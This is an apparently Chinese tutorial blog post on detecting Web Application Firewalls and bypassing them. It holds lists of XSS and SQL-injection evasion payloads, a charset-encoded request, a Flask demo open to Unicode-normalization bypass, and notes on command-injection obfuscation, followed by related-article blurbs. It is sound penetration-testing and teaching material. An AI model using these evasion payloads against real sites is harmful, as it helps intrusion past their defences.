绕过 Web 应用程序防火墙 (WAF) 的 5 种方法

绕过WAF继续SQL注入常用方法 Web Hacker总是生存在与WAF的不断抗争之中的,厂商不断过滤,Hacker不断绕过。WAF bypass是一个永恒的话题,不少基友也总结了很多奇技怪招。那今天我在这里做个小小的扫盲吧。先来说说WAF bypass是啥。     WAF呢,简单说,它是一个Web应用程序防火墙,其功能呢是用于过滤某些恶意请求与某些关键字。WAF仅仅是一个工具,帮助你防护网站来的。但是如果你代码写得特别渣 阅读详情
AI摘要

文章介绍了WAF作为网络安全解决方案的作用,以及如何通过手动和自动化方法检测它们。它详细讨论了WAF的工作原理,如正则表达式和基于签名的检测,并提供了识别和绕过WAF的策略,包括利用Unicode兼容性和未初始化变量。文章还提到了自动化工具如Nmap和WafW00f在检测WAF中的应用。

 WAF 是一种网络安全解决方案,用于过滤和阻止恶意网络流量。常见的供应商包括 CloudFlare、AWS、Citrix、Akamai、Radware、Microsoft Azure 和 Barracuda。

根据防火墙使用的机制组合,绕过方法可能会有所不同。例如,WAF 可能使用正则表达式来检测恶意流量。正则表达式用于检测字符串中的模式。您可以在此处阅读有关它们的更多信息。WAF 还可以采用基于签名的检测,其中已知的恶意字符串被赋予存储在数据库中的签名,防火墙将根据数据库的内容检查 Web 流量的签名。如果匹配,则流量被阻止。此外,一些防火墙使用基于启发式的检测。

识别WAF

手动

    如前所述,WAF 通常会阻止明显的恶意流量。为了触发防火墙并验证其存在,可以向 Web 应用程序发出 HTTP 请求,并在 URL 中包含恶意查询,例如

https://example.com/?p4yl04d3=<script>alert(document.cookie)</script>

HTTP 响应可能与所访问网页的预期不同。WAF可能会返回其自己的网页,例如下面显示的网页或不同的状态代码,通常为 400s。

 

通过 Web 代理、cURL 或浏览器 DevTools 的“网络”选项卡,可以检测到防火墙的其他迹象:

  • 标头中 WAF 的名称Server(例如Server: cloudflare)

  • 与 WAF 关联的其他 HTTP 响应标头(例如CF-RAY: xxxxxxxxxxx)

  • 看似由 WAF 设置的 Cookie(例如响应标头Set-Cookie: __cfduid=xxxxx)

  • 提交恶意请求时的唯一响应代码。(例如412)

        除了设计恶意查询和评估响应之外,还可以通过FIN/RST向服务器发送 TCP 数据包或实施边信道攻击来检测防火墙。例如,防火墙针对不同负载的时间可以提示正在使用的 WAF。

自动化

1.运行 Nmap 扫描

Nmap 脚本引擎 (NSE) 包括用于检测和指纹识别防火墙的脚本。可以在下面看到这些脚本的使用情况。

$ nmap --script=http-waf-fingerprint,http-waf-detect -p443 example.comStarting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 21:43 PDTNmap scan report for example.com (xxx.xxx.xxx.xxx)Host is up (0.20s latency).
PORT    STATE SERVICE443/tcp open  https| http-waf-detect: IDS/IPS/WAF detected:|_example.com:443/?p4yl04d3=<script>alert(document.cookie)</script>
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds

2.WafW00f 

Wafw00f 是一个命令行实用程序,可将通常标记的有效负载发送到给定的域名,并评估 Web 服务器的响应以在可能的情况下检测和识别防火墙。

$ wafw00f example.com

3.WhatWaf 

除了检测防火墙外,WhatWaf 还可以尝试通过利用篡改脚本和评估 Web 服务器对各种有效负载的响应来发现绕过。

WhatWaf 的结果与 Wafw00f 的结果一致。

绕过 WAF

本节将通过示例概述一些潜在的 WAF 绕过技术。

1.绕过正则表达式

此方法适用于 WAF 和 Web 服务器完成的正则表达式过滤。在黑盒渗透测试期间,查找 WAF 使用的正则表达式可能不是一种选择。如果正则表达式可访问,本文将通过案例研究解释正则表达式绕过。

常见的绕过包括更改有效负载的大小写、使用各种编码、替换函数或字符、使用替代语法以及使用换行符或制表符。下面的示例演示了一些使用注释绕过正则表达式的方法。​​​​​​​

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag<<script>alert(XSS)</script> #prepending an additional "<"<script>alert(XSS) // #removing the closing tag<script>alert`XSS`</script> #using backticks instead of parenethesesjava%0ascript:alert(1) #using encoded newline characters<iframe src=http://malicous.com < #double open angle brackets<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters

混淆视听

虽然混淆是绕过正则表达式的一种可能方法,但它们已分为不同的部分,以更专门地展示一系列混淆技术。​​​​​​​

Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and promptjavascript:74163166147401571561541571411447514115414516216450615176 #octal encoding<iframe src="javascript:alert(`xss`)"> #unicode encoding/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statementnew Function`alt\`6\``; #using backticks instead of parenthesesdata:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript%26%2397;lert(1) #using HTML encoding<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

2.字符集

此技术涉及修改Content-Type标头以使用不同的字符集(例如ibm500)。未配置为检测不同编码的恶意负载的 WAF 可能无法将请求识别为恶意请求。字符集编码可以在 Python 中完成​​​​​​​

$ python3 -- snip -- >>> import urllib.parse >>> s = '<script>alert("xss")</script>' >>> urllib.parse.quote_plus(s.encode("IBM037" )) 'L%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3n '

然后可以在请求正文中发送编码后的字符串并上传到服务器。

POST /comment/post HTTP/1.1Host: chatappContent-Type: application/x-www-form-urlencoded; charset=ibm500Content-Length: 74
%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3

3.内容大小

在某些基于云的 WAF 中,如果负载超过特定大小,则不会检查请求。在这些情况下,可以通过增加请求正文或 URL 的大小来绕过防火墙。

4. Unicode 兼容性

Unicode 兼容性是一个概念,它描述了将视觉上不同的字符分解为相同的基本抽象字符。它是unicode 等价的一种形式。

例如,字符/(U+FF0F) 和/(U+002F) 是不同的,但在某些上下文中它们将具有相同的含义。共享含义允许字符彼此兼容,这意味着它们都可以转换为标准的正斜杠字符/(U+002F),尽管它们最初是不同的字符。深入挖掘,/(U+FF0F) 和/(U+002F) 是否会以相同的正斜杠字符结尾取决于 Web 服务器对它们进行规范化或翻译的方式。

字符通常通过四种标准 Unicode 规范化算法之一进行规范化:

  • NFC:规范化形式规范组合

  • NFD:规范化形式规范分解

  • NFKC:规范化形式兼容性组合

  • NFKD:规范化形式相容性分解

特别是 NFKC 和 NFKD 会根据兼容性分解字符。这意味着在首先对用户输入进行清理,然后使用 NFKC 或 NFKD 规范化的 Web 服务器上,意外的兼容字符可以绕过 WAF 并在后端作为其规范等价物执行。这是 WAF 不期望 unicode 兼容字符的结果。

from flask import Flask, abort, requestimport unicodedatafrom waf import waf
app = Flask(__name__)

@app.route('/')def Welcome_name():  name = request.args.get('name')

  if waf(name):    abort(403, description="XSS Detected")  else:    name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD    return 'Test XSS: ' + name
if __name__ == '__main__':  app.run(port=81)

<img src=p onerror='prompt(1)'>在防火墙可能检测到初始负载的情况下,使用 Unicode 兼容字符 ( <img src⁼p onerror⁼'prompt⁽1⁾'﹥) 构造的负载将保持未检测到。

在经过清理后规范化输入的 Web 服务器可能容易通过 Unicode 兼容性绕过 WAF。

5.未初始化的变量

潜在的方法是在您的请求中使用未初始化的变量(例如),如本文$u中所示。这在命令执行场景中是可能的,因为 Bash 将未初始化的变量视为空字符串。将空字符串与命令有效负载连接时,结果最终成为命令有效负载。

在易受命令注入攻击的系统上,在有效负载中插入未初始化的变量可以作为一种混淆形式,绕过防火墙。

网络安全各类WAF绕过技巧 即传入一段长数据使waf失效,从而实现绕过waf。某些waf处理POST的数据时,只会检测开头的8K,后面选择全部放过。 阅读详情

相关推荐

WAF绕过总结+工具介绍

什么是WAF Waf是web应用防火墙( Web Application Firewa‖l)的简称,对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为web应用提供防护,也称作应用防火墙,是网络安全纵深防御体系里重要的一环。waf属于检测型及纠正型防御控制措施。waf分为硬件waf、软件waf( ModSecurity)、代码级waf。 WAF的原理 waf对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警

kali_Ma的博客 1万+

WAF绕过小技巧

一、WAF绕过 1、脏数据绕过 即传入一段长数据使waf失效,从而实现绕过waf。某些waf处理POST的数据时,只会检测开头的8K,后面选择全部放过。 例如,当发现某网站存在一个反序列化漏洞时,但是无回显,被waf拦截了 利用脏数据插入5000个x字符,可以成功绕过。 2、高并发绕过 对请求进行并发,攻击请求会被负载均衡调度到不同节点,导致某些请求绕过了waf的拦截 3、http参数污染...

tomyyyyy 7880

渗透测试—waf绕过方法(大全)

伪装请求头,WAF可能未验证。

lmh_2209的博客 1875

常见的WAF绕过方法

本篇文章通过网络架构层、HTTP协议层、第三方应用层讲解了绕过WAF的常见方法 一、网络架构层 一般通过域名指向云WAF地址后反向实现代理,找到这些公司的服务器的真实IP即可实现绕过。 具体方法如下: 1、查找相关的二级域名及同一域名注册者的其他域名解析记录。 2、通过查看邮件MX解析记录来发现真实服务器的IP记录或网段,例如: windows可以执行命令: nslookup -qt=mx baidu.com Linux可以执行如下命令来查看baidu.com域名的MX解析...

武天旭的博客 1万+

WAF(web应用防火墙)

硬件WAF适用于高流量的Web应用程序,软件WAF具有灵活性和易于配置的优点,适用于多种Web应用程序,而云WAF则适用于高可用性和高性能的Web应用程序。您需要确保WAF能够与您的Web服务器和应用程序框架集成,并确保WAF能够对您的Web应用程序进行全面的保护。WAF可以检测Web应用程序中的各种攻击,例如SQL注入、跨站点脚本攻击(XSS)、跨站请求伪造(CSRF)等,并采取相应的措施,例如拦截请求、阻止访问、记录事件等。:WAF记录所有请求和响应的详细信息,包括请求头、请求体、响应头、响应体等。

QuJJan的博客 1441

Waf功能、分类与绕过

WAF是Web应用防火墙(Web Application Firewall)的简称,对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为Web应用提供防护,也称作应用防火墙,是网络安全纵深防御体系里重要的一环。WAF属于检测型及纠正型防御控制措施。WAF分为硬件WAF、软件WAF(ModSecurity)和云WAF。WAF对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等。

Jinmindong 1163

Web渗透-WAF绕过技巧

Web应用防火墙(WAF)绕过是指黑客采用特定技术或策略,规避WAF的检测和防御机制,以对后端Web应用实施攻击。常见手法包括使用编码技巧(如URL编码、Base64编码)改变攻击载荷的呈现形式;利用WAF未过滤的HTTP方法或不常见的字符集;以及通过慢速攻击、分布式请求等方式避免触发阈值规则。攻击者还可能分析WAF的响应模式,通过微调输入来躲避特征匹配。WAF绕过的成功实施可使恶意活动直接威胁到网站的安全性与稳定性。

Varin 2904

【Web安全】绕过WAF过滤-利用cookie进行SQL注入

文章目录1 靶场分析1.1 找到可能与数据库交互的模块1.2 尝试注入2 GET,POST传值3 ModHeader绕WAF 1 靶场分析 1.1 找到可能与数据库交互的模块 HERE 进入网站,我们点击一条新闻,因为一般新闻页面的功能都是与数据库进行交互的。 我们可以得知,是网站下的shownews.asp这个ASP动态网页文件,与数据库进行交互,并查询出了第171篇(id=171)新闻内容的值...

NJU phd 在读。 1180

SQL注入绕过WAF方法使用

介绍WAF WAF (Web Application Firewall, Web应用防火墙)及与其相关的知识,这里利用国际上公认的一种说法: Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专]为Web应用提供保护的一款产品。 WAF可以分为以下几类 1.软件型WAF 以软件形式装在所保护的服务器上的WAF,由于安装在服务器上,所以可以接触到服务器上的文件,直接检测服务器上是否存在WebShell、是否有文件被创建等。 2.硬件型WAF 以硬件形式部署在链路中,支持多种部署方式,当串联到

m0_55563900的博客 2501

UE5 GAS实战:从零构建一个MOBA英雄技能系统

本文详细介绍了如何利用UE5的Gameplay Ability System(GAS)构建MOBA英雄技能系统,涵盖核心组件如Ability System Component和GameplayEffect的使用,以及技能冷却、资源管理和连招系统等高级功能的实现。通过实战案例和代码示例,帮助开发者快速掌握GAS在MOBA游戏开发中的应用。

weixin_29012765的博客 527

瑞萨 RL78 开发环境实战:从 CS+ for CC 到 e² studio 高效开发

本文详细介绍了瑞萨RL78单片机开发环境的选择与配置,对比分析了CS+ for CC和e² studio的特点及适用场景。内容涵盖环境安装、工程创建、调试技巧、外设驱动开发和低功耗设计等实战经验,为开发者提供全面的RL78入门指南,帮助快速上手并高效开发。

4k5l6j7h8的博客 242

这9种方式可以绕过Web应用程序防火墙

Web应用程序防火墙(WAF)的主要作用是过滤,监控和阻止各类进出Web应用程序的HTTP流量。WAF区别于常规防火墙,因为WAF能够过滤特定Web应用程序的内容,而常规防火墙充当的则是服务器之间的安全门。通过检查HTTP流量,它可以防止源自Web应用安全漏洞的攻击,如SQL注入,XSS,文件包含和安全配置错误。 Web应用程序防火墙WAF是如何工作的? 1. 协议异常检测:拒绝不符合HTTP标准的请求 2. 增强的输入验证:代理和服务器端验证,而不仅仅是客户端验证 3. 白名单和黑名单 4. 基

u014389734的博客 2769

赛灵思KV260视觉AI套件实战:从模型到边缘部署全流程解析

边缘计算与AI推理加速是当前嵌入式系统和物联网领域的关键技术。其核心原理在于将计算任务从云端下沉至网络边缘的设备端,通过专用硬件加速器(如FPGA、ASIC或NPU)执行神经网络推理,从而显著降低延迟、减少带宽消耗并提升数据隐私性。这一技术为实时性要求高的应用场景(如工业视觉检测、智能安防、自动驾驶等)提供了关键支撑。以赛灵思(Xilinx)的Zynq UltraScale+ MPSoC平台为例,其集成了ARM处理器与可编程逻辑,通过预置的深度学习处理器单元(DPU)为卷积神经网络提供高效INT8加速。开发

weixin_28719225的博客 326

waf如何绕过

1.身份认证绕过,2.数据包解析绕过,3.规则绕过

2201_75341517的博客 2205

【2026年华为暑期实习(非AI方向(通软&嵌软&测试&算法&数据科学))-4月8日-第一题- 包裹的编码】(题目+思路+Java&C++&Python解析+在线测试)

摘要:该问题要求将给定的十进制整数N转换为混合进制编码字符串,并处理回文检测。首先根据N的符号位确定编码首位(0或1),然后按输入的进制序列依次对N的绝对值进行取余和整除操作,得到编码数组。将数组元素转换为字母后生成字符串,若字符串为回文则添加"(palindrome)"后缀;否则输出最长回文子串(字典序最小)。算法采用中心扩展法检测回文,时间复杂度为O(L²),空间复杂度为O(L),其中L为字符串长度。

m0_73659489的博客 130

R语言生存分析之竞争风险模型

R语言生存分析之竞争风险模型 竞争风险模型(Competing Risk Model)是一种处理多种潜在结局生存数据的分析方法,早在1999年Fine和Gray就提出了部分分布的半参数比例风险模型,通常使用的终点指标是累积发生率函数(cumulative incidence function,CIF)。 研究中结局事件可能有多个,某些结局将阻止感兴趣事件的出现或影响其发生的概率,各结局事件形成“竞争”关系,互为竞争风险事件。 竞争风险模型( Competing Risk Model ) : 指

data+scenario+science+insight 5247

WAF(Web应用防火墙)

允许管理员根据特定需求定义自己的安全规则,以应对特定的威胁或业务逻辑。

2302_81650222的博客 2232

MobileViT替换YOLOv11主干网络:轻量化新思路-(用MobileViT等轻量视觉Transformer降低计算成本)

在计算机视觉领域,目标检测一直是核心任务之一,而YOLO(You Only Look Once)系列算法因其出色的速度-精度平衡成为工业界和学术界的热门选择。随着YOLOv11的推出,模型性能达到了新的高度,但其计算复杂度和参数量也随之增加,这对资源受限的移动设备和嵌入式系统提出了挑战。与此同时,视觉Transformer(ViT)的出现为计算机视觉带来了全新范式,但其庞大的计算需求限制了在移动端的应用。MobileViT作为一种创新的轻量级视觉Transformer架构,巧妙结合了CNN的归纳偏置优势和V

本博客聚焦 YOLOv11 全流程落地,涵盖架构优化、数据集处理、训练技巧与多场景部署,兼及国产数据库、Java 开发与 AI 模型应用,内容兼顾理论与工程实践,为开发者提供系统干货,助力高效提升技术能力。 1647

40种绕过WAF防火墙的Payload混淆技术,绝了!

某些应用可能使用自定义协议进行通信。攻击者可以设计自定义协议的Payload,这些Payload在格式和内容上可能与WAF预定义的规则集不匹配,从而绕过WAF的检测。

资深程序员,曾自学JAVA,C#,如今从业于网安行业 1299

禁止使用服务器 IP 访问 Apache 环境下的 Web 站点

通过在 Apache 的配置文件中添加适当的指令,我们可以轻松地禁止使用服务器 IP 地址访问我们的 Web 站点。在 Apache 环境下,有时我们希望禁止用户使用服务器的 IP 地址直接访问我们的 Web 站点,而只允许使用域名进行访问。现在,当用户尝试使用服务器的 IP 地址来访问你的网站时,他们将会被拒绝访问,只有通过域名才能正常访问。为了实现这个目标,我们可以通过 Apache 的配置文件进行相应的设置。表示禁止对根目录的访问权限,即禁止使用服务器的 IP 地址进行访问。

TpCode的博客 945

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

WAF技术以及SQL绕过

WAF的概念: WAF(Web Application Firewall)的中文名称叫做“Web应用防火墙”。 Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一种网络安全产品。WAF可以增大攻击者的攻击难度和攻击成本,但是不是100%安全的。重点: WAF是工作在应用层的; 通过特定的安全策略; 专为Web应用提供安全防护。   WAF的主...

jpygx123的博客 5946

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

5 种 WAF 绕过技巧:用 Lonkero 突破防火墙的实用方法

你是否遇到过这种情况:扫描器报告"目标存在 WAF 防护",随后便放弃测试?防火墙确实能拦下最基础的 payload,但真正专业的渗透测试从不在此止步。**Lonkero** 是一款用 Rust 编写的专业级攻击面扫描工具,内置 **WAF 绕过扫描器**(`src/scanners/waf_bypass.rs`),能自动识别 Cloudflare、Akamai、AWS WAF、ModSecuri

gitblog_00817的博客 909

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

PayloadsAllTheThings WAF绕过:Web应用防火墙绕过Payload技术

Web应用防火墙(WAF)是现代Web应用安全防护的重要屏障,但攻击者不断开发各种绕过技术来规避检测。PayloadsAllTheThings项目收集了大量实用的WAF绕过Payload,涵盖了XSS、SQL注入、文件包含等多种攻击场景。本文将深入解析这些绕过技术,帮助安全研究人员和开发人员更好地理解和防御WAF绕过攻击。 ## WAF绕过技术分类 ### 1. 字符编码绕过 #### HT...

gitblog_00423的博客 769

[Web安全 网络安全]-Web应用防火墙(WAF)

Web应用防火墙(WAF)

刘鑫磊 3989
上一篇: 想成为攻防渗透专家?这些技术和证书恐难以绕开!
下一篇: 护网之上线的艺术
AI小模型
博客等级 码龄6年 6863粉丝 487原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

AI小模型

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值